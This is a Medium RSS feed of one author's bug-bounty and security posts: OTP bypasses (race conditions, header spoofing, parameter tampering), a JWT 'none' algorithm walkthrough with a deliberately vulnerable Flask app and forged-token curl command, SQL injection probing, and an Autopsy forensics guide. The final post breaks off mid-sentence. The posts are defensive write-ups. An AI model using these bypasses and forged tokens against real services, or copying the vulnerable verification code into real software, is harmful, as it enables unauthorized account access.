<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arrhenius Paelongan on Medium]]></title>
        <description><![CDATA[Stories by Arrhenius Paelongan on Medium]]></description>
        <link>https://medium.com/@arrheniuspaelongan09?source=rss-186fe3961f92------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*XtZMceLiXE0hj1Sy</url>
            <title>Stories by Arrhenius Paelongan on Medium</title>
            <link>https://medium.com/@arrheniuspaelongan09?source=rss-186fe3961f92------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 21:31:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arrheniuspaelongan09/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OTP Bypass Part 2: Advanced Logic Flaws and Race Conditions]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/otp-bypass-part-2-advanced-logic-flaws-and-race-conditions-d30ba3b33f07?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/d30ba3b33f07</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 05:51:23 GMT</pubDate>
            <atom:updated>2026-07-07T19:44:51.331Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X7m2-aX9JL2-e7vQQy-1cA.png" /></figure><h3>Introduction</h3><p>In my previous article, I shared how a simple <strong>Response Manipulation</strong> (changing false to true) could bypass OTP screens. It was a classic &quot;low-hanging fruit.&quot; However, as developers become more aware of these basic flaws, they’ve started implementing more robust server-side checks.</p><p>But here’s the secret: <strong>Complexity is the enemy of security.</strong> The more complex the OTP logic becomes, the more likely there is a “logic flaw” hiding in the shadows. In this Part 2, we will dive into advanced techniques like <strong>Race Conditions </strong>and <strong>Rate Limit Bypasses</strong> that I’ve encountered in recent bug bounty programs.</p><h3>1. The “Race Condition” Attack (Concurrency)</h3><p>Imagine an application that allows only 3 failed OTP attempts before locking the account. What if we send 100 attempts at the exact same millisecond?</p><p>In many cases, the server checks the “attempt count” and the “OTP validity” separately. If the requests hit the server simultaneously, the database might not update the “attempt count” fast enough, allowing us to brute-force the code even with a limit in place.</p><ul><li><strong>Tools:</strong> Burp Suite + Turbo Intruder.</li><li><strong>The Payload:</strong> Use a Python script within Turbo Intruder to flood the /verify-otp endpoint with a list of 4-digit codes.</li><li><strong>The Result:</strong> If the server is vulnerable, you might see a 200 OK amidst a sea of 429 Too Many Requests.</li></ul><h3>2. Bypassing Rate Limits with Header Spoofing</h3><p>If a server blocks your IP after 5 attempts, you can often “reset” your identity by spoofing headers that tell the server you are a different user or proxy.</p><p>Try adding these headers to your Burp Intruder request:</p><ul><li>X-Forwarded-For: 127.0.0.1</li><li>X-Originating-IP: 127.0.0.1</li><li>X-Remote-IP: 127.0.0.1</li><li>X-Remote-Addr: 127.0.0.1</li></ul><p>By rotating the IP address in these headers, you can keep guessing the OTP indefinitely.</p><h3>Case Study: The “Email Change” Logic Flaw</h3><p>During a recent hunt, I found a unique bypass. The flow was:</p><ol><li>Request OTP.</li><li>Server sends OTP to user@email.com.</li><li><strong>The Flaw:</strong> I intercepted the verification request and changed the email parameter to <em>my</em> email.</li></ol><p>POST /api/v1/verify-otp</p><p>{&quot;email&quot;: &quot;attacker@email.com&quot;, &quot;otp&quot;: &quot;MY_OWN_OTP&quot;, &quot;account_to_unlock&quot;: &quot;victim@email.com&quot;}</p><p>The server verified <em>my</em> OTP for <em>my</em> email but incorrectly granted me a session token for the <em>victim’s</em> account. Always look for mismatched parameters!</p><h3>How to Fix This (Mitigation for Developers)</h3><p>To close these gaps, developers should:</p><ul><li><strong>Implement Atomic Counters:</strong> Use Redis or similar tools to ensure rate limits are checked “atomically” to prevent Race Conditions</li><li><strong>Consistency Checks:</strong> Ensure the OTP being verified is strictly tied to the Session ID or User ID, not just an email passed in the request body.</li></ul><h3>Conclusion</h3><p>Bug hunting is 10% tools and 90% thinking outside the box. As defenses evolve, our methods must too. If you found this “Part 2” helpful, don’t forget to <strong>clap</strong> and follow for more technical writeups!</p><p><strong>Happy Hacking!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d30ba3b33f07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty : How an OTP Bypass Got Me in the Hall of Fame]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/bug-bounty-how-an-otp-bypass-got-me-in-the-hall-of-fame-5db11bb34e2c?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/5db11bb34e2c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 15:54:01 GMT</pubDate>
            <atom:updated>2026-07-07T19:45:06.531Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bug Bounty : How an OTP Bypass Got Me in the Hall of Fame</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqxadUW8r7OnXb5R1rPhsQ.png" /></figure><h3>Introduction</h3><p>One of the sweetest moments for any bug bounty hunter is when a finding lands you a spot in the <strong>Hall of Fame</strong>. This write-up is about how I stumbled upon a simple but impactful bug, an <strong>OTP bypass through response manipulation</strong>. What started as curiosity ended up becoming a ticket to recognition.</p><h3>How It Started</h3><p>I was testing out a student chat registration portal. The flow was pretty standard. Sign up, receive an OTP via email, and then enter the code to verify your account.</p><p>Sounds secure enough, right? But my pentester instinct whispered: <em>“Why not peek at the requests and responses?”</em></p><h3>The Fun Part</h3><p>Here’s what I did during testing:</p><ol><li>Signed up with a dummy email.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*9GeUjuqzobob2bRptl4OJw.png" /><figcaption>Signed up</figcaption></figure><p>2. Got the OTP, but intentionally typed in the wrong code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*whrQiQlTa1YST6EvugnnfQ.png" /></figure><p>3. Intercepted the response with <strong>Burp Suite</strong>.</p><p>4. The response said &quot;success&quot;: false. Out of curiosity, I flipped it to &quot;success&quot;: true.</p><p><strong>Request :</strong></p><pre>POST /graphql?opname=Verify HTTP/2 <br>Host: gateway.unibuddy.co <br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 <br>Accept: */* <br>Accept-Language: en-US,en;q=0.5 <br>Accept-Encoding: gzip, deflate <br>Referer: https://unibuddy.co/ <br>Content-Type: application/json <br>Apollographql-Client-Name: widget-ui <br>Apollographql-Client-Version: v3.0.3323 <br>Authorization: JWT <br>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTE1NjU3NDgsImlhdCI6MTY4ODk3Mzc0OCwibmJmIjox<br> Njg4OTczNzQ4LCJpZGVudGl0eSI6eyJ1c2VyX2lkIjoiNjRhYmIxYjNmZGFiYmQxMGJiOGM1MjYwIiwiYWNjb3VudF<br> 9yb2xlIjoiYXBwbGljYW50IiwidW5pdmVyc2l0eV9pZCI6bnVsbCwibWFya2V0cGxhY2VfaWQiOm51bGx9fQ.JSrT8<br> _VMz--FpWL94pN-SDEDuLoncOR7KAjxYG_N390 <br>X-Request-Id: b68f8f63-6c0c-4b0e-b231-8d922c582f34 <br>Content-Length: 182 <br>Origin: https://unibuddy.co <br>Sec-Fetch-Dest: empty <br>Sec-Fetch-Mode: cors <br>Sec-Fetch-Site: same-site <br>Te: trailers <br> <br>{&quot;operationName&quot;:&quot;Verify&quot;,&quot;variables&quot;:{&quot;code&quot;:&quot;111111&quot;},&quot;query&quot;:&quot;mutation Verify($code: String!) {\n  <br>verifyAccount(code: $code) {\n    success\n    error\n    __typename\n  }\n}\n&quot;}</pre><p><strong>Manipulated Response :</strong></p><pre>HTTP/2 200 OK <br>Content-Type: application/json; charset=utf-8 <br>Content-Length: 115 <br>Date: Mon, 10 Jul 2023 07:28:07 GMT <br>X-Powered-By: Express <br>X-Ratelimit-Limit: 100 <br>X-Ratelimit-Remaining: 99 <br>X-Ratelimit-Reset: 1688974098 <br>Ratelimit-Limit: 100 <br>Ratelimit-Remaining: 99 <br>Ratelimit-Reset: 10 <br>Access-Control-Allow-Origin: https://unibuddy.co <br>Vary: Origin <br>Access-Control-Allow-Credentials: true <br>Cache-Control: no-store <br>Etag: W/&quot;73-U97y4DjKcscGiJZ9j+1G3eWHUAU&quot; <br>X-Cache: Miss from cloudfront <br>Via: 1.1 0cd88f29d8c6e29a267867c45efda9a8.cloudfront.net (CloudFront) <br>X-Amz-Cf-Pop: SIN52-C2 <br>Alt-Svc: h3=&quot;:443&quot;; ma=86400 <br>X-Amz-Cf-Id: hZUAIsMgtO-nOdW-mMKrK8qiqM3WzCypFgTOTdjp_ttmAM9qXpyLtg== <br>X-Xss-Protection: 1; mode=block <br>X-Frame-Options: SAMEORIGIN <br>Referrer-Policy: strict-origin-when-cross-origin <br>X-Content-Type-Options: nosniff <br>Strict-Transport-Security: max-age=31536000 <br> <br>{&quot;data&quot;:{&quot;verifyAccount&quot;:{&quot;success&quot;:true,&quot;error&quot;:&quot;Code is invalid for that <br>email&quot;,&quot;__typename&quot;:&quot;VerifyAccount&quot;}}}</pre><p>5. Forwarded the manipulated response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*VK44iTq6FxSRclNIXGsgAQ.png" /></figure><p>And boom! I was redirected to the account settings page, as if the invalid OTP had been perfectly valid.</p><h3>Why Did It Work?</h3><p>The issue was simple, the application trusted the client-side response too much. Even though there was an error message, the &quot;success&quot;: true flag I modified was enough to trick the system into thinking verification had passed. In other words, the OTP validation wasn’t being enforced properly on the server side.</p><h3>Potential Impact</h3><p>If abused, this flaw could allow:</p><ul><li>Creating accounts without owning the actual email.</li><li>Impersonating other users.</li><li>Running social engineering attacks through what looks like a legitimate platform.</li></ul><h3>Responsible Disclosure</h3><p>After confirming the bug, I reported it through their responsible disclosure program. The security team responded quickly, patched the issue, and thanked me in the best way possible, <strong>adding my name to their Hall of Fame</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*axNqiC4wiC168TzjtKOhgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*mWctH_iqxDeCdhp7Y77nAg.png" /></figure><h3>Key Takeaways</h3><ul><li><strong>Never trust the client.</strong> All critical logic like OTP checks must happen server-side.</li><li><strong>Keep responses clean.</strong> Don’t expose fields that attackers can abuse.</li><li><strong>Defense in depth matters.</strong> OTP alone isn’t enough if the implementation is weak.</li></ul><h3>Closing</h3><p>Out of all the bugs I’ve found, this one stands out. It wasn’t super complex, but the impact was real. More importantly, it reminded me that <em>curiosity + responsible disclosure</em> can lead to more than just rewards. Sometimes, it earns you recognition too.</p><p>Hopefully, this story inspires other bug hunters to keep digging. You never know, your next bypass might just get you into a Hall of Fame. 😉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*3XBHAqcXkgTP2U7d.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5db11bb34e2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Digital Forensics : Recover Deleted Files Using Autopsy]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/digital-forensics-recover-deleted-files-using-autopsy-270e1d0232d5?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/270e1d0232d5</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 10:38:21 GMT</pubDate>
            <atom:updated>2026-07-07T19:45:50.056Z</atom:updated>
            <content:encoded><![CDATA[<h3>Digital Forensics : Recover Deleted Data Using Autopsy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pAHIsM9h6SiN3yNfeBsm4Q.png" /></figure><h3>Introduction</h3><p>In the field of <strong>digital forensics</strong>, one of the most common challenges is recovering deleted data. Many people assume that once a file is deleted, it disappears permanently. In reality, deleted files often remain on the storage device until they are overwritten by new data.</p><p>This is where forensic tools come into play. One of the most popular open-source digital forensic platforms is <strong>Autopsy</strong>. It allows investigators, IT professionals, and even students to analyze storage media, recover deleted files, and perform in-depth forensic investigations.</p><p>In this article, we will walk through the process of using Autopsy to recover deleted data step by step.</p><h3>What is Autopsy?</h3><p>Autopsy is an <strong>open-source digital forensic platform</strong> that provides a graphical interface for analyzing disk images and file systems. It is built on top of <strong>The Sleuth Kit (TSK)</strong> and is widely used by law enforcement, cybersecurity professionals, and researchers.</p><p>Some of its features include :</p><ul><li>File system analysis (NTFS, FAT, ext, HFS+, etc.)</li><li>Keyword searching</li><li>Timeline analysis</li><li>File hash matching</li><li>Recovery of deleted files</li><li>Case management and reporting</li></ul><h3>Prerequisites</h3><p>Before we begin, ensure you have the following:</p><ul><li><strong>Autopsy installed</strong> on your system (Windows/Linux/MacOS).</li><li>A <strong>disk image (E01, RAW, or dd)</strong> or a storage device to analyze.</li><li>Basic understanding of file systems and forensic investigation concepts.</li></ul><blockquote><em>⚠️ Note: Always work on a forensic copy of the disk image to maintain evidence integrity. Never analyze the original drive directly.</em></blockquote><h3>Creating a Disk Image (Before Using Autopsy)</h3><p>In digital forensics, you should never analyze the original drive directly. Instead, investigators create a <strong>forensic image, </strong>a sector-by-sector copy of the storage device. This ensures the original evidence remains untouched and can be presented in court if needed.</p><p>Here are common ways to create a forensic disk image:</p><h3>Using FTK Imager (Windows)</h3><p>If you’re on Windows, <strong>FTK Imager</strong> is a popular free tool for creating forensic images.</p><p>Steps:</p><ol><li>Install and open <strong>FTK Imager</strong>.</li><li>Go to <strong>File → Create Disk Image</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*sOGLcM-ivUMlmJgEYoOTIg.png" /><figcaption><strong>Create Disk Image</strong></figcaption></figure><p>3. Select the source (physical drive or logical drive).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*MJNRi_93BTQ6WeBvlFvnTA.png" /><figcaption>Select the source</figcaption></figure><p>4. Choose the output format (E01, RAW, or AFF).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*jdHWMFptOGxLQG3eMAN0mA.png" /><figcaption>Choose the output format</figcaption></figure><p>5. Specify the destination folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*sgwb9wXrWEqvL8_zi1o4mw.png" /><figcaption>Specify the destination folder</figcaption></figure><p>6. Optionally, enable <strong>hashing (MD5/SHA1)</strong> to verify integrity.</p><p>7. Start the imaging process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*X33hyIeygB_eJkDEWCKiwA.png" /><figcaption>Start the imaging process</figcaption></figure><p><strong>Step-by-Step Guide to Recover Deleted Data</strong></p><h3>1. Launch Autopsy and Create a New Case</h3><ul><li>Open Autopsy.</li><li>Click <strong>Create New Case</strong>.</li><li>Provide a <strong>case name</strong>, <strong>case number</strong>, and optional <strong>examiner details</strong>.</li><li>Select a location to save the case files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*52pFZqqrFogzgez9LZ_rkA.png" /><figcaption>Create New Case</figcaption></figure><h3>2. Add a Data Source</h3><ul><li>Choose <strong>Add Data Source</strong> → select <strong>Disk Image or VM File</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JkZ5H9vXzKmlyiP2mactVg.png" /></figure><ul><li>Browse to the disk image file (e.g., disk.dd, evidence.E01).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v8dCvKflECXigDYo7S_fAQ.png" /></figure><ul><li>Autopsy will begin analyzing the image and indexing the contents.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TyYSrI9fDgKzPO7GszyOKw.png" /></figure><h3>3. Navigate the File System</h3><ul><li>Once processing is complete, Autopsy will display the file system structure.</li><li>Navigate through directories to view available and deleted files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4BJm6VVwNfhmMM1x6IlEmw.png" /></figure><ul><li>Deleted files often appear with a red “X” icon or marked under <strong>Deleted Files</strong>.</li></ul><h3>4. Recover Deleted Files</h3><ul><li>Right-click on the deleted file you want to recover.</li><li>Select <strong>Extract File(s)</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rDxBxWj3RCvqb-vYIWGUTA.png" /><figcaption>Extract File(s)</figcaption></figure><ul><li>Choose a safe directory on your local machine to save the recovered file.</li></ul><h3>5. Validate the Recovered Data</h3><ul><li>Open the recovered file to confirm successful recovery.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*P6wst7oL4rEDnkmJkoSbow.png" /></figure><ul><li>For forensic integrity, you may generate and record <strong>file hash values</strong> (MD5/SHA1).</li></ul><h3>Example Use Case</h3><p>Imagine an employee is suspected of intentionally deleting confidential documents. By acquiring a forensic image of their workstation and analyzing it in Autopsy, investigators can:</p><ul><li>Recover deleted documents.</li><li>Search for relevant keywords.</li><li>Build a timeline of user activity.</li><li>Generate a forensic report admissible in court.</li></ul><h3>Best Practices</h3><ul><li>Always use <strong>write blockers</strong> when imaging physical drives.</li><li>Work only on <strong>forensic images</strong>, never the original media.</li><li>Document every step of the investigation.</li><li>Store recovered files securely.</li></ul><h3>Conclusion</h3><p>Recovering deleted data is a crucial part of digital forensics. With Autopsy, this process becomes more accessible, thanks to its user friendly interface and powerful forensic capabilities. Whether you are an investigator, a cybersecurity professional, or a student learning about digital forensics, Autopsy provides a reliable platform for analyzing and recovering data.</p><p>By following the steps in this article, you can recover deleted files while maintaining forensic integrity and applying best practices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*7cLGad7fL-ffeRza.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=270e1d0232d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking JWT: When the ‘None’ Algorithm Opens the Authentication Gate]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/cracking-jwt-when-the-none-algorithm-opens-the-authentication-gate-5bafa942c9a5?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bafa942c9a5</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 09:07:03 GMT</pubDate>
            <atom:updated>2026-07-07T19:45:37.237Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4a_YNqgHzUxjsWlAhgctQ.png" /></figure><h3>🔍 Introduction</h3><p>JSON Web Token (JWT) is widely used for authentication and data exchange in modern applications. However, misconfigurations in JWT implementation can lead to critical vulnerabilities. One of the most infamous examples is the abuse of the <strong>“none” algorithm</strong>, which can completely bypass authentication if the server fails to verify tokens properly.</p><p>In this article, we’ll explore:</p><ul><li>What the “none” algorithm in JWT means.</li><li>How the vulnerability arises.</li><li>A practical exploitation example.</li><li>How to mitigate the issue.</li></ul><h3>📦 What Is JWT?</h3><p>A typical JWT has <strong>three parts</strong>:</p><pre>header.payload.signature</pre><p>Each part is Base64URL-encoded. Example:</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.sgnatuR3</pre><p>The header includes the signing algorithm:</p><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><h3>⚠️ The ‘none’ Algorithm Vulnerability</h3><p>The JWT specification allows &quot;alg&quot;: &quot;none&quot; to indicate that <strong>no signature is used</strong>. This was originally meant for unsecured JWTs in testing environments.</p><p>If a server blindly trusts the header and does <strong>not verify</strong> the signature properly, an attacker can change the algorithm to none, remove the signature, and modify the payload at will.</p><h3>🧪 Exploitation Example</h3><h3>✅ Setup (Vulnerable App)</h3><p>Let’s simulate a vulnerable app using Python Flask and the PyJWT library.</p><pre>pip install flask pyjwt</pre><pre># app.py<br>from flask import Flask, request, jsonify<br>import jwt<br>app = Flask(__name__)<br>SECRET_KEY = &#39;supersecret&#39;<br>@app.route(&#39;/login&#39;, methods=[&#39;POST&#39;])<br>def login():<br>    data = request.json<br>    token = jwt.encode({&quot;user&quot;: data[&quot;user&quot;]}, SECRET_KEY, algorithm=&quot;HS256&quot;)<br>    return jsonify(token=token)<br>@app.route(&#39;/dashboard&#39;)<br>def dashboard():<br>    token = request.headers.get(&#39;Authorization&#39;).split()[1]<br>    payload = jwt.decode(token, SECRET_KEY, options={&quot;verify_signature&quot;: False})  # ⚠️ Vulnerability!<br>    return jsonify(message=f&quot;Welcome {payload[&#39;user&#39;]}&quot;)</pre><p><strong>Note</strong>: The verify_signature=False allows any token to be accepted.</p><h3>🎯 Attacker’s Steps</h3><ol><li><strong>Original token</strong> from login:</li></ol><pre>{ &quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot; } { &quot;user&quot;: &quot;guest&quot; }</pre><ol><li><strong>Modified token</strong> with &quot;alg&quot;: &quot;none&quot;:</li></ol><pre>{ &quot;alg&quot;: &quot;none&quot;, &quot;typ&quot;: &quot;JWT&quot; } { &quot;user&quot;: &quot;admin&quot; }</pre><ol><li>Remove the signature completely.</li><li>Encode the header and payload with Base64URL:</li></ol><pre># Encode:<br>echo -n &#39;{&quot;alg&quot;:&quot;none&quot;,&quot;typ&quot;:&quot;JWT&quot;}&#39; | base64 | tr -d &#39;=&#39; | tr &#39;/+&#39; &#39;_-&#39; <br>echo -n &#39;{&quot;user&quot;:&quot;admin&quot;}&#39; | base64 | tr -d &#39;=&#39; | tr &#39;/+&#39; &#39;_-&#39;</pre><ol><li>Construct JWT:</li></ol><pre>&lt;base64url(https://medium.com/header)&gt;.&lt;base64url(https://medium.com/payload)&gt;.</pre><p>Example (no signature):</p><pre>eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.</pre><ol><li>Use this forged JWT in the request header:</li></ol><pre>curl -H &quot;Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.&quot; http://localhost:5000/dashboard</pre><p>✅ <strong>Result:</strong></p><pre>{<br>  &quot;message&quot;: &quot;Welcome admin&quot;<br>}</pre><h3>🔐 Mitigation</h3><ol><li><strong>Disable ‘none’ algorithm</strong> explicitly:</li></ol><ul><li>Libraries like PyJWT ≥2.0 no longer allow &#39;none&#39; by default.</li><li>Always enforce specific algorithms.</li></ul><p><strong>2. Do not trust the header blindly</strong>:</p><ul><li>The algorithm should be enforced on the server side, not taken from the token.</li></ul><p><strong>3. Signature verification is mandatory</strong>:</p><ul><li>Never set verify_signature=False in production code.</li></ul><p><strong>4. Use JWT libraries that are actively maintained and secure</strong>.</p><h3>🧱 Best Practices</h3><p>Practice Status Enforce specific alg ✅</p><p>Use short-lived tokens ✅</p><p>Rotate secret keys periodically ✅</p><p>Validate token structure and claims ✅</p><h3>🧩 Final Thoughts</h3><p>The &quot;none&quot; algorithm flaw teaches us that convenience features in libraries can lead to devastating vulnerabilities if not properly understood. Always validate and verify every part of the token — especially its signature. Trust, in security, must always be <strong>earned</strong>, not assumed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bafa942c9a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Leads to $$$ Bounty: How I Found a Critical Bug]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/sql-injection-leads-to-bounty-how-i-found-a-critical-bug-cbacc35a2f19?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbacc35a2f19</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 02:25:34 GMT</pubDate>
            <atom:updated>2026-07-07T19:44:07.509Z</atom:updated>
            <content:encoded><![CDATA[<p>Bug hunting is a bit like treasure hunting — except instead of digging in dirt, you’re digging through code. And sometimes, all it takes is a little curiosity and a rogue quote to strike gold.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lFrwwbhkN2Y1fVnexMIkOA.png" /></figure><p>This is the story of how I stumbled upon a critical <strong>SQL Injection vulnerability</strong> in <strong>redacted.com</strong>, poked at it a little (ethically, of course), and ended up walking away with a bounty and a deeper appreciation for simple mistakes with big consequences.</p><h3>The Setup: Just Another Day, Just Another Endpoint</h3><p>It started like most of my security hunting sessions — some caffeine and a comfy chair. I was scanning through the API of redacted.com, looking for anything that seemed… off.</p><p>That’s when I landed on this endpoint:</p><pre>https://api.redacted.com/api/v2/secure/banner?is_display=4</pre><p>On the surface, nothing fancy. A simple query parameter: is_display=4. Probably meant to toggle some banner visibility or something equally harmless. But as any bug hunter knows—where there’s user input, there’s potential.</p><p>So I did what I always do: I poked it. Gently.</p><p>I modified the parameter like this:</p><pre>?is_display=4&#39;</pre><p>Just one little &#39;—a humble single quote. But when the server responded with an error message, my eyes lit up. It wasn’t just any error. It screamed <strong>“SQL gone wrong”</strong>. Classic. And by classic, I mean <strong>potentially vulnerable to SQL Injection</strong>.</p><p>Let’s just say I smiled the same way you do when your pizza delivery arrives 10 minutes early.</p><h3>The Test: Confirming My Suspicions</h3><p>Error messages are like breadcrumbs for hackers — they show you where to go next. I took that intercepted request, saved it into a text file, and fired up <strong>SQLMap</strong>, the Swiss Army knife of SQLi testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*jk77htJD8r5G1Vz86Aqr7Q.png" /></figure><p>I told SQLMap: “Hey, see what you can do with this one.”</p><p>And oh boy, did it do something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*LG9Zx3VmDfMDuLIY1DYz4g.png" /></figure><p>Within minutes, SQLMap confirmed what I suspected: the endpoint was vulnerable to <strong>unauthenticated SQL Injection</strong>. Meaning anyone — literally anyone — could hit that endpoint and start playing with the database, no login required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*Pe1mRa9WZSZH4MDmqSW7Mg.png" /></figure><p>At this point, I paused. Not just to double-check, but also to whisper a quiet “yikes.”</p><h3>The Impact: What Could Go Wrong? (Hint: A Lot)</h3><p>Let’s break down the potential damage from this kind of vuln:</p><ul><li><strong>Steal user data</strong>: Emails, hashed passwords, personal info — you name it.</li><li><strong>Modify records</strong>: Want to make a banner disappear? Or change its content? Sure.</li><li><strong>Database control</strong>: If you’re lucky/unlucky, escalate the injection into full DB access.</li><li><strong>Chain it with other vulns</strong>: Combine with other issues to gain backend or even server-level access.</li></ul><p>This wasn’t a low-risk issue. It was <strong>critical</strong>.</p><blockquote><strong><em>CVSS Score:</em></strong><em> 4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N</em></blockquote><p>Translated into human: <em>No login, no interaction, super high impact. Danger level: spicy.</em></p><h3>The Fix: What I Recommended</h3><p>After confirming the exploit, I submitted a detailed report to redacted.com through their responsible disclosure process. Their security team responded quickly and professionally — they validated the issue and pushed a patch shortly after.</p><p>Here’s what I recommended (and what every dev should remember):</p><ol><li><strong>Use parameterized queries.</strong> Never, ever concatenate raw SQL with user input.</li><li><strong>Sanitize and validate input.</strong> Yes, even if it’s just a number. Especially if it’s just a number.</li><li><strong>Avoid exposing internal errors.</strong> SQL error messages belong in logs, not in front of users — or worse, attackers.</li><li><strong>Test regularly.</strong> Use automated tools or third-party assessments to catch issues early.</li></ol><h3>The Reward: Bounty Secured 💰</h3><p>Yes, I got a bounty for this one. No, I won’t tell you how much. Let’s just say it was more than lunch money, less than a Tesla.</p><p>But beyond the dollar sign, it was satisfying to know that something I found actually helped secure a live production system used by real users.</p><p>And let’s be honest — there’s something oddly satisfying about breaking things <em>ethically</em>.</p><h3>Reflections: A Little Quote Goes a Long Way</h3><p>The lesson here? Never underestimate the power of a single 